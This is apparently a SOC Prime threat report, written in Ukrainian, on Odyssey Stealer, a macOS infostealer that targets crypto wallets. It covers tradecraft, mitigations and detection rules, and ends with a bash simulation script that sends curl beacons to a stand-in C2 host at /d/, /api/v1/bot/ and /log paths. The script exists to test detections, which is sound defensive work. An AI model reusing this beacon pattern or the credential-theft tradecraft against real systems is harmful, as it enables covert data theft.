SOC Prime Bias: Середній

13 Feb 2026 16:13

Odyssey Stealer: Всередині операції з викрадення криптовалюти на macOS

Author Photo
Ruslan Mikhalov Керівник досліджень загроз у SOC Prime linkedin icon Стежити
Odyssey Stealer: Всередині операції з викрадення криптовалюти на macOS
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Резюме

Odyssey Stealer – це інфостілер для macOS, який зосереджується на криптовалютних гаманцях та розширеннях. Він рекламується як платформа Malware-as-a-Service, де афілійовані особи орендують доступ до централізованого C2 та панелі адміністратора. Доставлення зазвичай покладається на зашифрований AppleScript, який встановлює стійкий LaunchDaemon, що опитує C2 для отримання команд. Оператор також може замінити легітимні додатки Ledger і Trezor на троянізовані збірки для захоплення облікових даних та даних транзакцій.

Розслідування

Дослідники ідентифікували C2 за допомогою унікальних HTML мета тегів, хешів тіла сторінки та загального хеша фавікона. Вони відстежили десять фізичних хостів по кількох кластерах ASN, переважно в Європі та Нідерландах. Розбір вантажу показав багатоступеневий завантажувач AppleScript, стійкість LaunchDaemon та Go-компільовану SOCKS5 проксі. Дані конфігурації, вбудовані в завантажувач, розкривали ідентифікатори афілійованих осіб та ідентифікатори збірок.

Пом’якшення

Слідкуйте за підозрілою активністю osascript, особливо за довгими зашифрованими рядками, невідомими файлами plist LaunchDaemon з випадковими ярликами та вихідними запитами POST до точок входу “/log”. Отримуйте сповіщення про бінарні файли, запущені LaunchDaemon, та підозрілу активність SOCKS5. Перевірте підпис коду для додатків Ledger і Trezor, а також блокуйте відомі домени C2 та IP-адреси. Навчайте користувачів сприймати несподівані запити паролів та “оновлення гаманця” як високий ризик.

Реагування

Після виявлення ізолюйте систему, завершіть шкідливий LaunchDaemon та видаліть троянізовані гаманці. Захопіть мережевий трафік до ідентифікованих доменів C2 та IP для розслідування, потім скиньте скомпрометовані облікові дані криптовалют і змініть паролі macOS. Виконайте повний судово-медичний огляд для виявлення додаткових артефактів.

“graph TB %% Class definitions classDef action fill:#99ccff %% Node definitions action_initial_access_phishing[“<b>Дія</b> – <b>T1566 Фішинг</b>: Шкідливе посилання, надіслане електронною поштою або за допомогою рекламації<br /><b>Опис</b>: Атакуючий отримує початковий доступ, змусивши користувача натиснути на посилання.”] class action_initial_access_phishing action action_user_execution_malicious_link[“<b>Дія</b> – <b>T1204.001 Виконання користувачем: Шкідливе посилання</b>: Жертва натискає на посилання та запускає завантажувач AppleScript<br /><b>Опис</b>: Виконання коду відбувається після взаємодії з користувачем.”] class action_user_execution_malicious_link action action_execution_obfuscation[“<b>Дія</b> – <b>T1027 Зашифровані файли або інформація</b>: Зашифрований AppleScript завантажується через osascript<br /><b>Опис</b>: Ховає шкідливий код для уникнення виявлення.”] class action_execution_obfuscation action action_cred_gui_capture[“<b>Дія</b> – <b>T1056.002 Захоплення введення: GUI</b>: Фальшиве діалогове вікно пароля macOS захоплює облікові дані адміністратора<br /><b>Опис</b>: Захоплює облікові дані через підробку інтерфейсу користувача.”] class action_cred_gui_capture action action_cred_browser_stores[“<b>Дія</b> – <b>T1555.003 Облікові дані з веб-браузерів</b>: Витягує cookies, паролі та дані криптовалютного гаманця з Chrome, Edge та Firefox<br /><b>Опис</b>: Збирає облікові дані, збережені в веб-браузері.”] class action_cred_browser_stores action action_cred_keychain[“<b>Дія</b> – <b>T1555.005 Облікові дані з менеджерів паролів</b>: Читає збережені паролі з macOS Keychain<br /><b>Опис</b>: Доступ до даних менеджера паролів.”] class action_cred_keychain action action_cred_securityd[“<b>Дія</b> – <b>T1555.002 Облікові дані з пам’яті Securityd</b>: Збирає пам’ять процесу securityd для облікових даних<br /><b>Опис</b>: Отримує матеріали облікових даних з пам’яті процесу.”] class action_cred_securityd action action_priv_esc_valid_accounts[“<b>Дія</b> – <b>T1078 Дійсні облікові записи</b>: Використовує захоплений пароль адміністратора для отримання підвищених прав<br /><b>Опис</b>: Отримує вищі привілеї за допомогою легітимних облікових даних.”] class action_priv_esc_valid_accounts action action_persistence_launchdaemon[“<b>Дія</b> – <b>T1543.004 Демон запуску</b>: Встановлює com.random.plist LaunchDaemon для періодичного запиту C2<br /><b>Опис</b>: Персистенція шляхом створення демона запуску.”] class action_persistence_launchdaemon action action_discovery_browser[“<b>Дія</b> – <b>T1217 Виявлення інформації браузера</b>: Перелічує встановлені браузери та розширення гаманців<br /><b>Опис</b>: Збирає інформацію про середовище перегляду жертви.”] class action_discovery_browser action action_collection_archive[“<b>Дія</b> – <b>T1560 Архівування зібраних даних</b>: Стискає вкрадені файли в архів ZIP<br /><b>Опис</b>: Пакує дані для ексфільтрації.”] class action_collection_archive action action_exfil_automated[“<b>Дія</b> – <b>T1020 Автоматична ексфільтрація</b>: Завантажує ZIP-архів на /log<br /><b>Опис</b>: Надсилає зібрані дані по HTTP.”] class action_exfil_automated action action_c2_webservice[“<b>Дія</b> – <b>T1102 Веб-служба</b>: Спілкується з C2 за допомогою точок GET та POST<br /><b>Опис</b>: Використовує веб-служби для командування та управління.”] class action_c2_webservice action action_c2_dead_drop[“<b>Дія</b> – <b>T1102.001 Розв’язувач відсталих</b>: Завантажує пейді з /d/… URL-адрес<br /><b>Опис</b>: Використовує місце зберігання для отримання команд.”] class action_c2_dead_drop action action_c2_external_proxy[“<b>Дія</b> – <b>T1090.002 Зовнішній проксі</b>: Завантажує та запускає Go скомпільовану проксі SOCKS5 для тунелювання трафіку<br /><b>Опис</b>: Прямує трафік C2 через зовнішній проксі.”] class action_c2_external_proxy action %% З’єднання action_initial_access_phishing u002du002d> |веде_до| action_user_execution_malicious_link action_user_execution_malicious_link u002du002d> |викликає| action_execution_obfuscation action_execution_obfuscation u002du002d> |дозволяє| action_cred_gui_capture action_cred_gui_capture u002du002d> |надає| action_cred_browser_stores action_cred_browser_stores u002du002d> |додає| action_cred_keychain action_cred_keychain u002du002d> |додає| action_cred_securityd action_cred_securityd u002du002d> |надає| action_priv_esc_valid_accounts action_priv_esc_valid_accounts u002du002d> |дозволяє| action_persistence_launchdaemon action_persistence_launchdaemon u002du002d> |дозволяє| action_discovery_browser action_discovery_browser u002du002d> |забезпечує| action_collection_archive action_collection_archive u002du002d> |готує| action_exfil_automated action_exfil_automated u002du002d> |використовує| action_c2_webservice action_c2_webservice u002du002d> |використовує| action_c2_dead_drop action_c2_dead_drop u002du002d> |підтримує| action_c2_external_proxy “

Потік атаки

Виявлення

macOS Shell архівування даних падтримки застосунків (через cmdline)

Команда SOC Prime
13 лютого 2026

macOS Osascript запуск curl (через cmdline)

Команда SOC Prime
13 лютого 2026

macOS Shell запис до директорії LaunchDaemons (через file_event)

Команда SOC Prime
13 лютого 2026

IOCs (SourceIP) для виявлення: Odyssey Stealer: В середині операції з крадіжки криптовалют macOS

Правила SOC Prime AI
13 лютого 2026

IOCs (DestinationIP) для виявлення: Odyssey Stealer: В середині операції з крадіжки криптовалют macOS

Правила SOC Prime AI
13 лютого 2026

IOCs (HashSha256) для виявлення: Odyssey Stealer: В середині операції з крадіжки криптовалют macOS

Правила SOC Prime AI
13 лютого 2026

IOCs (HashMd5) для виявлення: Odyssey Stealer: В середині операції з крадіжки криптовалют macOS

Правила SOC Prime AI
13 лютого 2026

Odyssey Stealer: Виявлення кінцевих точок C2 [Вебсервер]

Правила SOC Prime AI
13 лютого 2026

Odyssey Stealer: Виявлення зашифрованого AppleScript та використання Curl [Linux Process Creation]

Правила SOC Prime AI
13 лютого 2026

Виконання симуляції

Передумова: Телеметрія та перевірка зразка повинні пройти.

  • Сценарій атаки та команди:
    Противник розгорнув Odyssey Stealer на робочій станції macOS. Після компрометації користувача, шкідливе ПЗ ініціює маяк на свій C2 сервер для завантаження додаткових завантажень та екстракції зібраних даних. Маяк використовує стандартний curl бінарний (підписаний Apple бінарний) для здійснення HTTP GET запитів до C2 точок, визначених у правилі. Атакуючий вибирає ці специфічні URI шляхи, тому що вони короткі, зливаються з типовим веб-трафіком та уникають виявлення через загальні рішення фільтрації URL.

    Кроки:

    1. Розв’язати ім’я хосту C2 (змодульоване як c2.odyssey.example.com).
    2. Здійснити GET запит до /d/aff123456 – імітує закінчувальну точку ексфільтрації з випадковим кодом афілійованої особи та числовим токеном.
    3. Здійснити GET запит до /api/v1/bot/ – імітує сигнал управління ботами.
    4. Опціонально, надіслати запит до /log щоб імітувати внутрішній трафік логування, який використовується шкідливим програмним забезпеченням для звітування про стани.
  • Сценарій регресійного тестування: Наступний сценарій bash відтворює точний трафік, необхідний для викликання правила виявлення.

    #!/usr/bin/env bash
    # Імітація маяка Odyssey Stealer для перевірки виявлення
    # Вимоги: curl, мережева проксі налаштована відповідно до передпрохідних кроків
    
    C2_HOST="c2.odyssey.example.com"
    PROXY_HOST="127.0.0.1:3128"   # налаштуйте на адресу вашої проксі Squid
    
    # Функція надсилання запиту через проксі
    send_request() {
        local path=$1
        echo "[*] Надсилання запиту до https://${C2_HOST}${path} через проксі ${PROXY_HOST}"
        curl -x "$PROXY_HOST" -s -o /dev/null "https://${C2_HOST}${path}"
    }
    
    # 1. Точка ексфільтрації даних (випадковий афілійований + цифри)
    AFFILIATE="aff$(shuf -i 1000-9999 -n 1)"
    DIGITS=$(shuf -i 10000-99999 -n 1)
    send_request "/d/${AFFILIATE}${DIGITS}"
    
    # 2. Сигнал управління ботами
    send_request "/api/v1/bot/"
    
    # 3. Опціональна точка логування
    send_request "/log"
    
    echo "[+] Імітація завершена. Перевірте сповіщення в SIEM."

    Збережіть сценарій як odyssey_beacon.sh, зробіть його виконуваним (chmod +x odyssey_beacon.sh) та запустіть його на тестовому хості macOS.

  • Команди очищення: Видаліть будь-які тимчасові файли та, за бажанням, вимкніть проксі для тестового користувача.

    # Вимкніть налаштування проксі для інтерфейсу Wi-Fi
    networksetup -setwebproxystate "Wi-Fi" off
    networksetup -setsecurewebproxystate "Wi-Fi" off
    
    # (Опціонально) Зупиніть Squid, якщо він був запущений виключно для цього тесту
    # brew services stop squid
    echo "Налаштування проксі відновлені, а Squid зупинено (якщо застосовно)."